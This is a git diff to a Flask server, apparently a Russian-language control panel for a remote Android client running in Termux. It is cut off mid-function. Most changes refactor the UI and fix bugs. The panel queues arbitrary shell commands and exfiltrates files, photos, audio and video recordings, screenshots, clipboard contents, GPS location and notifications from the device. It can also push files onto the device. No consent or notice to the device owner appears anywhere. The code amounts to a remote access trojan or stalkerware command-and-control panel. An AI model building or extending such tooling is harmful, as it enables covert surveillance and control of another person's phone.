Update app.py

app.py

@@ -3,7 +3,7 @@ import os
 import datetime
 import uuid
 import werkzeug.utils
-import json
+import json 
 
 app = Flask(__name__)
 app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
@@ -15,7 +15,7 @@ os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
 pending_command = None
 command_output = "Ожидание команд..."
 last_client_heartbeat = None
-current_client_path = "~"
+current_client_path = "~" 
 file_to_send_to_client = None
 device_status_info = {}
 notifications_history = []
@@ -64,9 +64,6 @@ HTML_TEMPLATE = """
         .notification-item:last-child { border-bottom: none; }
         .notification-item strong { display: block; color: #555; }
         .notification-item span { font-size: 0.9em; color: #777; }
-        .media-control-group { display: flex; align-items: center; flex-wrap: wrap; gap: 10px; }
-        .media-control-group label { margin-bottom: 0; }
-        .media-control-group input[type="text"] { width: 60px; margin-bottom: 0; }
     </style>
     <script>
         let currentView = 'dashboard';
@@ -78,9 +75,9 @@ HTML_TEMPLATE = """
             document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
             currentView = sectionId;
             if (sectionId === 'files') refreshClientPathDisplay();
-            if (sectionId === 'device_status') requestDeviceStatus();
+            if (sectionId === 'device_status') requestDeviceStatus(); 
             if (sectionId === 'notifications') requestNotifications();
-            refreshOutput(); // Refresh output for the current view immediately
+            refreshOutput(); // Refresh output specifically for the current view's needs
         }
 
         async function refreshOutput() {
@@ -88,24 +85,18 @@ HTML_TEMPLATE = """
                 const response = await fetch('/get_status_output');
                 const data = await response.json();
 
-                const outputAreasToUpdate = ['outputArea']; // Always update main dashboard output
-                if (currentView === 'shell') outputAreasToUpdate.push('outputAreaShellCopy');
-                if (currentView === 'media') outputAreasToUpdate.push('outputAreaMediaCopy');
-                if (currentView === 'clipboard') outputAreasToUpdate.push('outputAreaClipboardCopy');
-                if (currentView === 'utils') outputAreasToUpdate.push('outputAreaUtilsCopy');
+                // Update general output area if it's part of the current view logic
+                const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
+                if (data.output && generalOutputViews.includes(currentView)) {
+                    document.getElementById('outputArea').innerText = data.output;
+                }
                 
-                outputAreasToUpdate.forEach(id => {
-                    const el = document.getElementById(id);
-                    if (el && data.output) el.innerText = data.output;
-                });
-
-
                 if (data.last_heartbeat) {
                     const statusDiv = document.getElementById('clientStatus');
                     const lastBeat = new Date(data.last_heartbeat);
                     const now = new Date();
                     const diffSeconds = (now - lastBeat) / 1000;
-                    if (diffSeconds < 45) {
+                    if (diffSeconds < 45) { 
                         statusDiv.className = 'status online';
                         statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
                     } else {
@@ -117,33 +108,33 @@ HTML_TEMPLATE = """
                     document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
                 }
 
-                if (data.current_path && currentView === 'files') {
-                    document.getElementById('currentPathDisplay').innerText = data.current_path;
-                    if (data.output && data.output.startsWith("Содержимое") ) {
+                if (currentView === 'files') {
+                    if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path; 
+                    if (data.output && data.output.startsWith("Содержимое")) {
                          renderFileList(data.output, data.current_path);
-                    } else if (data.output && currentView === 'files') { // If output is not a listing but we are in files view
+                    } else if (data.output) { // If not a listing, show raw output in file list area for context
                          document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
                     }
                 }
-
+                 
                 const filesResponse = await fetch('/list_uploaded_files');
                 const filesData = await filesResponse.json();
                 const serverFileListUl = document.getElementById('serverUploadedFiles');
-                serverFileListUl.innerHTML = '';
+                serverFileListUl.innerHTML = ''; 
                 if (filesData.files && filesData.files.length > 0) {
                     filesData.files.forEach(file => {
                         const li = document.createElement('li');
                         const a = document.createElement('a');
                         a.href = '/uploads_from_client/' + encodeURIComponent(file);
                         a.textContent = file;
-                        a.target = '_blank';
+                        a.target = '_blank'; 
                         li.appendChild(a);
                         serverFileListUl.appendChild(li);
                     });
                 } else {
                     serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
                 }
-
+                
                 if (data.device_status && currentView === 'device_status') {
                     updateDeviceStatusDisplay(data.device_status);
                 }
@@ -151,18 +142,18 @@ HTML_TEMPLATE = """
                     renderNotifications(data.notifications);
                 }
 
-
             } catch (error) {
                 console.error("Error refreshing data:", error);
-                const mainOutputArea = document.getElementById('outputArea');
-                if (mainOutputArea) mainOutputArea.innerText = "Ошибка обновления данных с сервера.";
-
+                const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
+                 if (generalOutputViews.includes(currentView)) {
+                    document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
+                }
             }
         }
-
+        
         function updateDeviceStatusDisplay(status) {
             document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
-            document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
+            document.getElementById('locationStatus').innerHTML = (status.location && status.location.latitude !== undefined) ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
             if (status.location && status.location.latitude && status.location.longitude) {
                  document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
             } else {
@@ -174,20 +165,19 @@ HTML_TEMPLATE = """
         function renderFileList(lsOutput, currentPath) {
             const fileListUl = document.getElementById('fileList');
             fileListUl.innerHTML = '';
-            const lines = lsOutput.split('\\n'); // Assuming server sends \n, if not, adjust
-
-            // Normalize currentPath for comparison (e.g. remove trailing slash if not root)
-            let normalizedCurrentPath = currentPath;
-            if (normalizedCurrentPath !== '/' && normalizedCurrentPath.endsWith('/')) {
-                normalizedCurrentPath = normalizedCurrentPath.slice(0, -1);
-            }
+            const lines = lsOutput.split('\\n'); // Assuming client sends \n, but Flask might re-escape. Check actual data if issues.
+                                              // If outputArea shows literal \n, then split by '\n' might be needed.
+                                              // For now, assuming client replaces \n with \\n for JSON string.
             
-            // Add ".." (parent directory) link if not at root or home equivalent
-            // This logic might need refinement depending on how `currentPath` represents home ('~') vs absolute home path
-            const isHome = currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true); // osPathToUserFriendly might not be available here directly
-            const isRoot = currentPath === '/';
+            let isRootOrHome = (currentPath === '/' || currentPath === '~'); // Simplified check
+            // Check for path like /data/data/com.termux/files/home too, which is effectively ~
+            if (currentPath.startsWith('/data/data/com.termux/files/home') && 
+                (currentPath.length === '/data/data/com.termux/files/home'.length || currentPath.length === '/data/data/com.termux/files/home'.length + 1 && currentPath.endsWith('/'))) {
+                isRootOrHome = true;
+            }
 
-            if (!isRoot && !isHome) { // Simple check, might need more robust logic for '~'
+
+            if (!isRootOrHome) {
                  const parentLi = document.createElement('li');
                  parentLi.className = 'dir';
                  const parentA = document.createElement('a');
@@ -200,60 +190,46 @@ HTML_TEMPLATE = """
 
             lines.forEach(line => {
                 if (line.trim() === '' || line.startsWith("Содержимое")) return;
-                const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); // Match literal [D] or [F]
-                if (!parts) { // If no match, maybe it's just a filename from a simple ls
-                     const li = document.createElement('li');
-                     li.textContent = line;
-                     fileListUl.appendChild(li);
-                     return;
-                }
-
-                const type = parts[1];
+                const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); // Matches literal [D] or [F]
+                if (!parts) { // Fallback for lines not matching [D]/[F] format, e.g. error messages
+                    const li = document.createElement('li');
+                    li.textContent = line;
+                    fileListUl.appendChild(li);
+                    return;
+                };
+
+                const type = parts[1]; 
                 const name = parts[2].trim();
-
+                
                 const li = document.createElement('li');
                 const nameSpan = document.createElement('span');
                 const a = document.createElement('a');
                 a.href = '#';
-
+                
                 if (type === '[D]') {
                     li.className = 'dir';
                     a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
                     a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
                     nameSpan.appendChild(a);
-                    li.appendChild(nameSpan);
-                } else { // [F] or other
+                } else { // Assuming [F]
                     li.className = 'file';
                     a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
-                    // Make file name clickable for potential future actions, but no default action for now
-                    a.onclick = (e) => { e.preventDefault(); /* Potentially view details or select */ };
+                    // Make file name clickable for future actions if needed, for now no-op
+                    a.onclick = (e) => { e.preventDefault(); /* Potentially show file info */ }; 
                     nameSpan.appendChild(a);
 
                     const downloadBtn = document.createElement('button');
                     downloadBtn.className = 'download-btn';
                     downloadBtn.textContent = 'Скачать';
                     downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
-                    
-                    li.appendChild(nameSpan);
-                    li.appendChild(downloadBtn);
+                    li.appendChild(nameSpan); 
+                    li.appendChild(downloadBtn); 
                 }
+                if (type === '[D]') li.appendChild(nameSpan); 
                 fileListUl.appendChild(li);
             });
         }
         
-        // This function is conceptual for JS side, actual path resolution is on server/client
-        function osPathToUserFriendly(path, checkRoot = false) {
-            // This is a simplified version for JS display. The real logic is in Python.
-            if (path.includes('com.termux/files/home')) { // A bit loose
-                let relPath = path.substring(path.indexOf('com.termux/files/home') + 'com.termux/files/home'.length);
-                if (relPath === '' || relPath === '/') return '~';
-                return '~' + relPath;
-            }
-            if (checkRoot && path === '/') return '/';
-            return path;
-        }
-
-
         function renderNotifications(notifications) {
             const notificationListDiv = document.getElementById('notificationList');
             notificationListDiv.innerHTML = '';
@@ -261,12 +237,14 @@ HTML_TEMPLATE = """
                 notifications.forEach(n => {
                     const itemDiv = document.createElement('div');
                     itemDiv.className = 'notification-item';
+                    const title = n.title || (n.ticker && n.ticker !== "null" ? n.ticker : 'Без заголовка'); // Better title fallback
+                    const content = n.content || (n.text && n.text !== "null" ? n.text : 'Нет содержимого'); // Better content fallback
                     itemDiv.innerHTML = `
-                        <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
+                        <strong>${title} (ID: ${n.id || 'N/A'})</strong>
                         <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
                         <span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
                         <span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
-                        <p>${n.content || 'Нет содержимого'}</p>
+                        <p>${content}</p>
                     `;
                     notificationListDiv.appendChild(itemDiv);
                 });
@@ -274,20 +252,16 @@ HTML_TEMPLATE = """
                 notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
             }
         }
-
+        
         async function sendGenericCommand(payload) {
             try {
-                // Determine which output area to show "Sending command..."
-                let targetOutputAreaId = 'outputArea'; // Default
-                if (currentView === 'shell') targetOutputAreaId = 'outputAreaShellCopy';
-                else if (currentView === 'media') targetOutputAreaId = 'outputAreaMediaCopy';
-                else if (currentView === 'clipboard') targetOutputAreaId = 'outputAreaClipboardCopy';
-                else if (currentView === 'utils') targetOutputAreaId = 'outputAreaUtilsCopy';
-                else if (currentView === 'files') { /* For files, output is usually the list */ }
-                
-                const el = document.getElementById(targetOutputAreaId);
-                if (el && currentView !== 'files') el.innerText = "Отправка команды...";
-
+                // Show "Sending command..." in the main output area if it's relevant to the current view.
+                const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
+                if (generalOutputViews.includes(currentView)) {
+                    document.getElementById('outputArea').innerText = "Отправка команды...";
+                } else if (currentView === 'files') {
+                    // For file view, commands might update file list, don't overwrite general output unless error
+                }
 
                 const response = await fetch('/send_command', {
                     method: 'POST',
@@ -296,31 +270,37 @@ HTML_TEMPLATE = """
                 });
                 if (!response.ok) {
                      console.error("Server error sending command");
-                     if (el && currentView !== 'files') el.innerText = "Ошибка сервера при отправке команды.";
-                }
+                     if (generalOutputViews.includes(currentView)) {
+                        document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
+                     }
+                } 
+                // Result will be shown by refreshOutput
             } catch (error) {
                 console.error("Network error sending command:", error);
-                const el = document.getElementById(targetOutputAreaId);
-                if (el && currentView !== 'files') el.innerText = "Сетевая ошибка при отправке команды.";
+                 if (generalOutputViews.includes(currentView)) {
+                    document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
+                }
             }
         }
 
         function navigateTo(itemName) {
             sendGenericCommand({ command_type: 'list_files', path: itemName });
-            if (currentView === 'files') {
+            if (currentView === 'files') { 
                 document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
             }
         }
 
         function requestDownloadFile(filename) {
             sendGenericCommand({ command_type: 'request_download_file', filename: filename });
-            // The main output area will be updated by refreshOutput
-            const mainOutputArea = document.getElementById('outputArea');
-            if (mainOutputArea) mainOutputArea.innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
+             const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
+            if (generalOutputViews.includes(currentView)) { // Update main output if relevant
+                 document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
+            }
+            // Also good to have a specific status message in the "files" view if possible, or rely on refreshOutput for the command's direct response.
         }
-
+        
         function refreshClientPathDisplay(){
-            if (document.getElementById('currentPathDisplay') && currentView === 'files') {
+            if (document.getElementById('currentPathDisplay')) {
                  fetch('/get_status_output').then(r=>r.json()).then(data => {
                     if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
                  });
@@ -328,36 +308,44 @@ HTML_TEMPLATE = """
         }
 
         window.onload = () => {
-            showSection('dashboard'); // Initial section
+            showSection('dashboard'); // Start with dashboard
             setInterval(refreshOutput, 4000); // Regular refresh
             refreshOutput(); // Initial refresh
         };
-
+        
         function submitShellCommand(event) {
             event.preventDefault();
             const command = document.getElementById('command_str').value;
             sendGenericCommand({ command_type: 'shell', command: command });
             document.getElementById('command_str').value = '';
         }
-
-        function submitMediaCommand(type, param1Name, param1ValueId, param2Name = null, param2ValueId = null) {
+        
+        function submitMediaCommand(type, ...paramsConfig) { // paramsConfig = ['key1', 'valueId1', 'key2', 'valueId2'...]
             let payload = { command_type: type };
-            if (param1Name && param1ValueId) {
-                const value1 = document.getElementById(param1ValueId).value;
-                if (value1) payload[param1Name] = value1;
-            }
-            if (param2Name && param2ValueId) { // Handle second parameter if provided
-                const value2 = document.getElementById(param2ValueId).value;
-                if (value2) payload[param2Name] = value2;
+            if (paramsConfig.length > 0) {
+                for (let i = 0; i < paramsConfig.length; i += 2) {
+                    const paramName = paramsConfig[i];
+                    const paramValueId = paramsConfig[i+1];
+                    if (paramName && paramValueId) { 
+                        const valueElement = document.getElementById(paramValueId);
+                        // Send param if element exists and has a non-empty value, or if it's a type that might allow empty (though not for current media params)
+                        if (valueElement && valueElement.value) { 
+                             payload[paramName] = valueElement.value;
+                        } else if (valueElement && paramName === 'camera_id' && valueElement.value === '0') { // Explicitly allow '0' for camera_id
+                             payload[paramName] = valueElement.value;
+                        }
+                        // If value is empty for duration, server-side defaults will be used.
+                    }
+                }
             }
             sendGenericCommand(payload);
         }
-
+        
         async function handleUploadToServer(event) {
             event.preventDefault();
             const fileInput = document.getElementById('fileToUploadToDevice');
             const targetPathInput = document.getElementById('targetDevicePath');
-
+            
             if (!fileInput.files[0]) {
                 alert("Пожалуйста, выберите файл для загрузки.");
                 return;
@@ -370,7 +358,7 @@ HTML_TEMPLATE = """
             const formData = new FormData();
             formData.append('file_to_device', fileInput.files[0]);
             formData.append('target_path_on_device', targetPathInput.value);
-
+            
             document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
 
             try {
@@ -381,11 +369,12 @@ HTML_TEMPLATE = """
                 const result = await response.json();
                 if (result.status === 'success') {
                     document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
-                    // Now queue the command for the client to download this file
-                    sendGenericCommand({
-                        command_type: 'receive_file',
-                        server_filename: result.server_filename,
-                        target_path_on_device: result.target_path_on_device // Server echoed this back
+                    // Command to client to download the file
+                    sendGenericCommand({ 
+                        command_type: 'receive_file', 
+                        server_filename: result.server_filename, // This is the UUID'd name
+                        target_path_on_device: result.target_path_on_device,
+                        original_filename: result.original_filename // Client needs this to save with correct name
                     });
                 } else {
                     document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
@@ -394,7 +383,7 @@ HTML_TEMPLATE = """
                 document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файл�� на сервер: ' + error;
             }
         }
-
+        
         function getClipboard() {
             sendGenericCommand({ command_type: 'clipboard_get' });
         }
@@ -413,7 +402,7 @@ HTML_TEMPLATE = """
         function requestDeviceStatus(item = null) {
             let payload = { command_type: 'get_device_status' };
             if (item) {
-                payload.item = item;
+                payload.item = item; 
             }
             sendGenericCommand(payload);
         }
@@ -475,7 +464,7 @@ HTML_TEMPLATE = """
                 <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
             </div>
         </div>
-
+        
         <div id="notifications" class="container hidden-section">
             <h2>Уведомления устройства</h2>
             <button onclick="requestNotifications()">Обновить уведомления</button>
@@ -522,41 +511,35 @@ HTML_TEMPLATE = """
             </form>
              <div class="control-section" style="margin-top:20px;">
                 <h3>Вывод команды:</h3>
-                <pre id="outputAreaShellCopy">Ожидание вывода...</pre>
+                <pre id="outputAreaShellCopy"></pre> <!-- This will be updated by JS -->
              </div>
         </div>
 
         <div id="media" class="container hidden-section">
             <h2>Мультимедиа</h2>
             <div class="control-section">
-                <div class="media-control-group">
-                    <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
-                    <label for="camera_id_input">ID камеры:</label>
-                    <input type="text" id="camera_id_input" value="0">
-                </div>
+                <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
+                <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
+                <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
             </div>
             <div class="control-section">
-                <div class="media-control-group">
-                    <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
-                    <label for="audio_duration_input">Длительность (сек):</label>
-                    <input type="text" id="audio_duration_input" value="5">
-                </div>
+                <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
+                <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
+                <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
             </div>
-            <div class="control-section">
-                <div class="media-control-group">
-                    <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
-                    <label for="video_camera_id_input">ID камеры:</label>
-                    <input type="text" id="video_camera_id_input" value="0">
-                    <label for="video_duration_input">Длительность (сек):</label>
-                    <input type="text" id="video_duration_input" value="10">
-                </div>
+            <div class="control-section"> <!-- New Video Record Section -->
+                <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
+                <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
+                <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
+                <label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
+                <input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
             </div>
             <div class="control-section">
                 <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
             </div>
             <div class="control-section" style="margin-top:20px;">
                 <h3>Результат операции:</h3>
-                <pre id="outputAreaMediaCopy">Ожидание вывода...</pre>
+                <pre id="outputAreaMediaCopy"></pre> <!-- This will be updated by JS -->
              </div>
         </div>
 
@@ -572,7 +555,7 @@ HTML_TEMPLATE = """
             </div>
              <div class="control-section" style="margin-top:20px;">
                 <h3>Результат операции с буфером:</h3>
-                <pre id="outputAreaClipboardCopy">Ожидание вывода...</pre>
+                <pre id="outputAreaClipboardCopy"></pre> <!-- This will be updated by JS -->
              </div>
         </div>
 
@@ -585,10 +568,10 @@ HTML_TEMPLATE = """
             </div>
              <div class="control-section" style="margin-top:20px;">
                 <h3>Результат операции:</h3>
-                <pre id="outputAreaUtilsCopy">Ожидание вывода...</pre>
+                <pre id="outputAreaUtilsCopy"></pre> <!-- This will be updated by JS -->
              </div>
         </div>
-
+        
         <div id="uploads" class="container hidden-section">
             <h2>Файлы, загруженные С клиента на сервер</h2>
             <div class="control-section">
@@ -599,17 +582,23 @@ HTML_TEMPLATE = """
         </div>
     </div>
     <script>
-        // Logic to copy main output to section-specific output areas
-        // This can be simplified if refreshOutput handles it directly, which it now does.
-        // This listener is mostly redundant now but harmless.
+        // This script runs after the main script block with functions due to placement
         document.addEventListener('DOMContentLoaded', () => {
             const outputArea = document.getElementById('outputArea');
+            const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
+            const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
+            const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
+            const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
+            
             const observer = new MutationObserver(() => {
-                if (currentView === 'shell') document.getElementById('outputAreaShellCopy').innerText = outputArea.innerText;
-                if (currentView === 'media') document.getElementById('outputAreaMediaCopy').innerText = outputArea.innerText;
-                if (currentView === 'clipboard') document.getElementById('outputAreaClipboardCopy').innerText = outputArea.innerText;
-                if (currentView === 'utils') document.getElementById('outputAreaUtilsCopy').innerText = outputArea.innerText;
+                // Update specific output areas only if their respective views are active
+                if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
+                if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
+                if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
+                if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
             });
+
+            // Observe the main outputArea for changes
             if (outputArea) {
                  observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
             }
@@ -626,12 +615,12 @@ def index():
 @app.route('/send_command', methods=['POST'])
 def handle_send_command():
     global pending_command, command_output, current_client_path, file_to_send_to_client
-
+    
     data = request.json
-    command_output = "Ожидание выполнения..." # Reset output when a new command is sent
-
+    command_output = "Ожидание выполнения..." # Reset output when new command is sent
+    
     command_type = data.get('command_type')
-
+    
     if command_type == 'list_files':
         path_requested = data.get('path', '.')
         pending_command = {'type': 'list_files', 'path': path_requested}
@@ -647,9 +636,9 @@ def handle_send_command():
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
     elif command_type == 'record_video':
         pending_command = {
-            'type': 'record_video',
-            'camera_id': data.get('camera_id', '0'), # JS sends 'camera_id' as second param key
-            'duration': data.get('duration', '10')  # JS sends 'duration' as first param key
+            'type': 'record_video', 
+            'duration': data.get('duration', '10'),
+            'camera_id': data.get('camera_id', '0')
         }
     elif command_type == 'screenshot':
         pending_command = {'type': 'screenshot'}
@@ -659,23 +648,27 @@ def handle_send_command():
             pending_command = {'type': 'shell', 'command': command_str}
         else:
             command_output = "Ошибка: Команда не указана."
-    elif command_type == 'receive_file': # This is queued by server after successful upload_to_server_for_client
-        server_filename = data.get('server_filename')
+    elif command_type == 'receive_file': # This case is triggered by JS after server uploads a file for client
+        server_filename = data.get('server_filename') # UUID'd name
         target_path_on_device = data.get('target_path_on_device')
-        if server_filename and target_path_on_device:
+        original_filename_for_client = data.get('original_filename') # Actual name client should save as
+
+        if server_filename and target_path_on_device and original_filename_for_client:
             file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
             if os.path.exists(file_path_on_server):
                 pending_command = {
-                    'type': 'receive_file',
+                    'type': 'receive_file', 
                     'download_url': url_for('download_to_client', filename=server_filename, _external=True),
                     'target_path': target_path_on_device,
-                    'original_filename': server_filename # Client might want original name if server renamed it with UUID
+                    'original_filename': original_filename_for_client
                 }
-                # file_to_send_to_client = None # This global seems unused, pending_command handles it
+                # No need to manage file_to_send_to_client here, as the file is already on server
             else:
                 command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
         else:
-            command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
+            command_output = "Ошибка: Недостаточно данных для отправки файла клиенту (отсутствует server_filename, target_path или original_filename)."
+            app.logger.error(f"Receive_file error: server_filename={server_filename}, target_path={target_path_on_device}, original_filename={original_filename_for_client}")
+
     elif command_type == 'clipboard_get':
         pending_command = {'type': 'clipboard_get'}
     elif command_type == 'clipboard_set':
@@ -688,13 +681,13 @@ def handle_send_command():
         else:
             command_output = "Ошибка: URL для открытия не указан."
     elif command_type == 'get_device_status':
-        item_requested = data.get('item')
+        item_requested = data.get('item') 
         pending_command = {'type': 'get_device_status', 'item': item_requested}
     elif command_type == 'get_notifications':
         pending_command = {'type': 'get_notifications'}
     else:
         command_output = "Неизвестный тип команды."
-
+            
     return jsonify({'status': 'command_queued'})
 
 
@@ -703,14 +696,14 @@ def get_command():
     global pending_command
     if pending_command:
         cmd_to_send = pending_command
-        pending_command = None
+        pending_command = None 
         return jsonify(cmd_to_send)
-    return jsonify(None)
+    return jsonify(None) # Send null or {} if no command
 
 @app.route('/submit_client_data', methods=['POST'])
 def submit_client_data():
     global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
-
+    
     data = request.json
     if not data:
         return jsonify({'status': 'error', 'message': 'No data received'}), 400
@@ -719,40 +712,35 @@ def submit_client_data():
 
     if 'output' in data:
         new_output = data['output']
-        max_len = 20000
+        max_len = 20000 
         if len(new_output) > max_len:
             command_output = new_output[:max_len] + "\n... (output truncated)"
         else:
             command_output = new_output
-    # If only heartbeat, don't overwrite output unless it's empty/default
-    elif 'heartbeat' in data and data['heartbeat'] and (not command_output or command_output == "Ожидание выполнения..." or command_output == "Ожидание команд..."):
-        command_output = "Клиент онлайн."
-
-
+    
     if 'current_path' in data:
         current_client_path = data['current_path']
 
     if 'device_status_update' in data:
         update = data['device_status_update']
-        for key, value in update.items():
+        for key, value in update.items(): # Iterate and update specific keys
             device_status_info[key] = value
-        if not ('output' in data): # If no main output, use a generic message
-             command_output = "Статус устройства обновлен."
-
-
+        # If output wasn't set by a direct command, provide a generic status update message
+        if 'output' not in data: # if no specific command output, acknowledge status update
+            command_output = "Статус устройства обновлен на сервере."
+        
     if 'notifications_update' in data:
-        notifications_history = data['notifications_update']
-        if not ('output' in data):
-            command_output = "Список уведомлений обновлен."
+        notifications_history = data['notifications_update'] 
+        if 'output' not in data and 'device_status_update' not in data: # if no other output source
+            command_output = "Список уведомлений обновлен на сервере."
 
 
-    # Special case: if heartbeat comes with no other data, and output is default "waiting", update it.
     if 'heartbeat' in data and data['heartbeat']:
-        if command_output in ["Ожидание выполнения...", "Ожидание команд...", "Клиент онлайн."]: # Avoid overwriting actual command output
-             if not ('output' in data or 'device_status_update' in data or 'notifications_update' in data):
-                command_output = "Клиент онлайн."
+        # Only set "Клиент онлайн" if no other important message is pending or just received
+        if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
+             command_output = "Клиент онлайн. (Heartbeat получен)"
         return jsonify({'status': 'heartbeat_ok'})
-
+        
     return jsonify({'status': 'data_received'})
 
 @app.route('/upload_from_client', methods=['POST'])
@@ -760,47 +748,63 @@ def upload_from_client_route():
     global command_output, last_client_heartbeat
     last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
     if 'file' not in request.files:
-        # This error message will be sent back to client, but likely not displayed if client_uploads_file_to_server handles its own output
-        return jsonify({'status': 'error', 'message': 'No file part'}), 400
-
+        # This message is for the client's next /get_command if it were to poll for this response.
+        # However, client_uploads_file_to_server expects a direct response.
+        # The return jsonify will be the direct response.
+        # command_output = "Ошибка на сервере: Файл не был отправлен клиентом (нет 'file' в request.files)."
+        return jsonify({'status': 'error', 'message': 'No file part in request'}), 400
+    
     file = request.files['file']
+    origin_command_type = request.form.get("origin_command_type", "unknown_origin")
+
     if file.filename == '':
-        return jsonify({'status': 'error', 'message': 'No selected file'}), 400
+        # command_output = f"Ошибка на сервере: Клиент ({origin_command_type}) отправил файл без имени."
+        return jsonify({'status': 'error', 'message': 'No selected file (empty filename)'}), 400
 
     if file:
-        filename = werkzeug.utils.secure_filename(file.filename)
-        filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
-
-        counter = 0
+        filename = werkzeug.utils.secure_filename(file.filename) 
+        
+        # Ensure unique filename on server by prepending UUID or similar if collisions are a concern
+        # For simplicity, let's add a timestamp prefix for common cases like photos/videos
+        if origin_command_type in ["take_photo", "record_audio", "record_video", "screenshot"]:
+            filename = f"{int(time.time())}_{filename}"
+        
+        # Handle potential path collisions more robustly
         base_name, ext = os.path.splitext(filename)
+        counter = 0
+        final_filename = filename
+        filepath = os.path.join(app.config['UPLOAD_FOLDER'], final_filename)
+        
         while os.path.exists(filepath):
             counter += 1
-            filename = f"{base_name}_{counter}{ext}"
-            filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
+            final_filename = f"{base_name}_{counter}{ext}"
+            filepath = os.path.join(app.config['UPLOAD_FOLDER'], final_filename)
 
         try:
